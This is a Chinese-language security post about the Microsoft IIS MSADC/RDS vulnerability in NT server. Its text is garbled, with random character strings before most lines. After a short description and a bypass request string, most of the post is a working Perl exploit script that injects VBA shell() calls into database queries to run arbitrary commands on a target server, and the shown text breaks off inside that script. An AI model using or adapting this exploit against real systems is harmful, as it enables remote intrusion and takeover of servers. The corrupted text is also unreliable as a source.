IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
N%A[}Y0;MW oXc!JZ^ 涉及程序:
.]qj];m Microsoft NT server
$f-f0t' B?nQUIb: 描述:
}'mBqn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
A3p@hQl -$E_L:M 详细:
8}\Lt 如果你没有时间读详细内容的话,就删除:
<|M cE c:\Program Files\Common Files\System\Msadc\msadcs.dll
2z7+@!w/ 有关的安全问题就没有了。
99@uU[&IJ n#
%mL< 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
u6AReL'f IRemF@ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
<|NP!eMsw8 关于利用ODBC远程漏洞的描述,请参看:
4eym$UWw ;[]{O5TB http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :!M/9D*}0 #ra~Yb-F 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
V fJYYR http://www.microsoft.com/security/bulletins/MS99-025faq.asp vs/.'yD/C vr|9NP]v 这里不再论述。
!_VKJZuH Lt+ Cm$3 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
ngprTMO$& ,%#FK| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ji_3*( 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
3[E3]]OVa u=h:d+rq@ $ ZD1_sJ. #将下面这段保存为txt文件,然后: "perl -x 文件名"
nk,X6o9% 6.},y<E #!perl
}&)X4= #
8.
[TPiUn' # MSADC/RDS 'usage' (aka exploit) script
A@BYd'}] #
)oJn@82C| # by rain.forest.puppy
L'LZK #
$9DV} # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Gpws_jw # beta test and find errors!
$DZ\61 2r2qZ#I} use Socket; use Getopt::Std;
66*/"dBwm getopts("e:vd:h:XR", \%args);
0b9;vlGq$ IWvLt print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
.az+'1 vT V'D&x2 if (!defined $args{h} && !defined $args{R}) {
.7Zb,r print qq~
%e2,p&0G Usage: msadc.pl -h <host> { -d <delay> -X -v }
cF9bSY_Eh -h <host> = host you want to scan (ip or domain)
Xm./XC -d <seconds> = delay between calls, default 1 second
B]dvX -X = dump Index Server path table, if available
GndU}[0J -v = verbose
6eqxwj{S[ -e = external dictionary file for step 5
<(dHh9$~ &v7$*n27 Or a -R will resume a command session
cXiNO
ke& :?%$={m ~; exit;}
Hn5:*;N l2"{uCcA $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
+jePp_3$O if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
v1Tla]d if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
>4>!zZ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ld8 E!t[ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{<{
O! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!63p?Q= 7U>Xi'? if (!defined $args{R}){ $ret = &has_msadc;
g5X;]%: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
;uj&j1 QFMR~6 ? print "Please type the NT commandline you want to run (cmd /c assumed):\n"
C?jk#T . "cmd /c ";
>58N P1[k $in=<STDIN>; chomp $in;
?ACflU_k $command="cmd /c " . $in ;
m~cz 5+*MqO> if (defined $args{R}) {&load; exit;}
o$]wd*+ (_h<<`@B print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
C7#ji"t &try_btcustmr;
)[&'\SOO ocCq$%Ka print "\nStep 2: Trying to make our own DSN...";
#@s[!4)_I &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
lXH?* e P]L print "\nStep 3: Trying known DSNs...";
Y;$wD9W &known_dsn;
{"T$jV:GB tHAr9 print "\nStep 4: Trying known .mdbs...";
P;_}nbB &known_mdb;
t*Hr(|. FCL7Tn if (defined $args{e}){
&)[?D< print "\nStep 5: Trying dictionary of DSN names...";
N>kY$ *
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
1h uU7xuf THC7e>P4 print "Sorry Charley...maybe next time?\n";
`}t<5_ exit;
)Il)
H 28,Hd!{ ##############################################################################
YJdM6 72uARF sub sendraw { # ripped and modded from whisker
iI T7pq1 sleep($delay); # it's a DoS on the server! At least on mine...
RCM;k;@8V my ($pstr)=@_;
1vKAJ<4W socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
O# n<`;W die("Socket problems\n");
!C13E lf if(connect(S,pack "SnA4x8",2,80,$target)){
ZfM DyS$. select(S); $|=1;
MIa#\tJj print $pstr; my @in=<S>;
}8
V/Cd9 select(STDOUT); close(S);
j#:IG/)GL return @in;
/4Ud6gscf } else { die("Can't connect...\n"); }}
1dDK(RBbQ AA=zDB<N ##############################################################################
!1G6ZC:z L@9@3? sub make_header { # make the HTTP request
og0su my $msadc=<<EOT
\ZNUt$\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
`sW+R= User-Agent: ACTIVEDATA
zt&"K0X| Host: $ip
/e|vz^#+1, Content-Length: $clen
X5[.X()M4 Connection: Keep-Alive
v\&C]W] %?<Y&t ADCClientVersion:01.06
D,R"P }G Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
>3aB{[[N \
@XvEx% --!ADM!ROX!YOUR!WORLD!
B^|^hZZ> Content-Type: application/x-varg
`Vph=`0 Content-Length: $reqlen
CMu/n]?c g$X4ZRSel EOT
b&wyp@k ; $msadc=~s/\n/\r\n/g;
8v{0=9,Z return $msadc;}
'PO+P~|oa& M N-j$-y} ##############################################################################
Sq<ds}o'8l 95cIdF 6m sub make_req { # make the RDS request
c+dmA(JC my ($switch, $p1, $p2)=@_;
=:neGqd\_E my $req=""; my $t1, $t2, $query, $dsn;
>)`yG'[ HNXMM if ($switch==1){ # this is the btcustmr.mdb query
LVHIQ9 $query="Select * from Customers where City=" . make_shell();
<!qN<#$y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
O+f'Ql $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Gl am(V1 MBp,!_Q6 elsif ($switch==2){ # this is general make table query
M~h^~:Lk $query="create table AZZ (B int, C varchar(10))";
:~"Dwrui $dsn="$p1";}
O@9<7@h+Nl X(r$OZ elsif ($switch==3){ # this is general exploit table query
`1xJ1z# $query="select * from AZZ where C=" . make_shell();
vZ6_/ew8 $dsn="$p1";}
Al93x 0NB5YQ8_] elsif ($switch==4){ # attempt to hork file info from index server
S/?!ESW6 $query="select path from scope()";
FdwlRu G $dsn="Provider=MSIDXS;";}
G~.bi<(v i>elK<R4 elsif ($switch==5){ # bad query
PxAUsY $query="select";
4Su|aWL- $dsn="$p1";}
KU;d[Z@g s?j || $t1= make_unicode($query);
K>a@AXC $t2= make_unicode($dsn);
bM@8[&ta $req = "\x02\x00\x03\x00";
Ca]V%g( $req.= "\x08\x00" . pack ("S1", length($t1));
wC&+nS1 $req.= "\x00\x00" . $t1 ;
v%
c-El% $req.= "\x08\x00" . pack ("S1", length($t2));
xZE%Gf_U $req.= "\x00\x00" . $t2 ;
aG*Mj;J $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+uqP:z return $req;}
(Zi,~Wqm$ pw,
<0UhV ##############################################################################
:Vnus
@#r +.3,(l sub make_shell { # this makes the shell() statement
a_V.mu6h6p return "'|shell(\"$command\")|'";}
K?J?]VCw f.e4 C, ##############################################################################
}LA7ku V#Pz`D sub make_unicode { # quick little function to convert to unicode
(_ TKDx_ my ($in)=@_; my $out;
RCC~#bb for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
bnZ`Wc*5b return $out;}
Au"7w=G`f C@F3iwTtp ##############################################################################
GZx?vSoHh h\<;N*Xi sub rdo_success { # checks for RDO return success (this is kludge)
IKs2.sj"o my (@in) = @_; my $base=content_start(@in);
-dO9y=?t if($in[$base]=~/multipart\/mixed/){
yt5'2!jc return 1 if( $in[$base+10]=~/^\x09\x00/ );}
yN/Uyhq return 0;}
E|9'{3$ w8KVs\/ ##############################################################################
nW"ml$ JI7.:k; sub make_dsn { # this makes a DSN for us
A<*G; my @drives=("c","d","e","f");
w~|z0;hC print "\nMaking DSN: ";
* .P3fVlZ foreach $drive (@drives) {
Jc9BZ`~i print "$drive: ";
3:B4; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_/pdZM,V "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%YLyh?J . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
x6iT"\MO $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
^v+7IFn return 0 if $2 eq "404"; # not found/doesn't exist
*Q`y'6S if($2 eq "200") {
j"Y5j
B` foreach $line (@results) {
d{FD.eI0 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
>XU93 )CX } return 0;}
,!I'0x1OR Y(97}, ##############################################################################
;)rs#T;$ g@s'-8}X^ sub verify_exists {
Qh{]gw-6 my ($page)=@_;
".|?A9m_ my @results=sendraw("GET $page HTTP/1.0\n\n");
iJ%`ym4Y return $results[0];}
hcrx(oJ5 w=}R'O;k ##############################################################################
F7N4qq1 -guVl4 V sub try_btcustmr {
;e#bl1%# my @drives=("c","d","e","f");
I]jK]]@ my @dirs=("winnt","winnt35","winnt351","win","windows");
LQ'VhNU qJ5gdID1 _ foreach $dir (@dirs) {
R) 'AI[la print "$dir -> "; # fun status so you can see progress
y^tp^ foreach $drive (@drives) {
(cpaMn@)g print "$drive: "; # ditto
cuUlr $reqlen=length( make_req(1,$drive,$dir) ) - 28;
noSBwP|v* $reqlenlen=length( "$reqlen" );
>=!$(JgX $clen= 206 + $reqlenlen + $reqlen;
bA*T1Db,t> O ]Stf7]%; my @results=sendraw(make_header() . make_req(1,$drive,$dir));
O~u@J'4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
'boAv%1_sa else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
nv-_\M +jrMvk" ##############################################################################
m
L,El2 :978D0}{p sub odbc_error {
mj^]e/s% my (@in)=@_; my $base;
n<3*7/- my $base = content_start(@in);
:d`8:gv? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
KGq4tlM6 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
P6([[mmG $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
bR&<vrMmrA $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
FK!UUy; return $in[$base+4].$in[$base+5].$in[$base+6];}
)WR*8659e print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
dq
U.2~9 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
*Jm U",X $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
K26x,m]p 1u\kxlZ ##############################################################################
v>]^wH>/" %n<.)R sub verbose {
,Y_[+ my ($in)=@_;
m<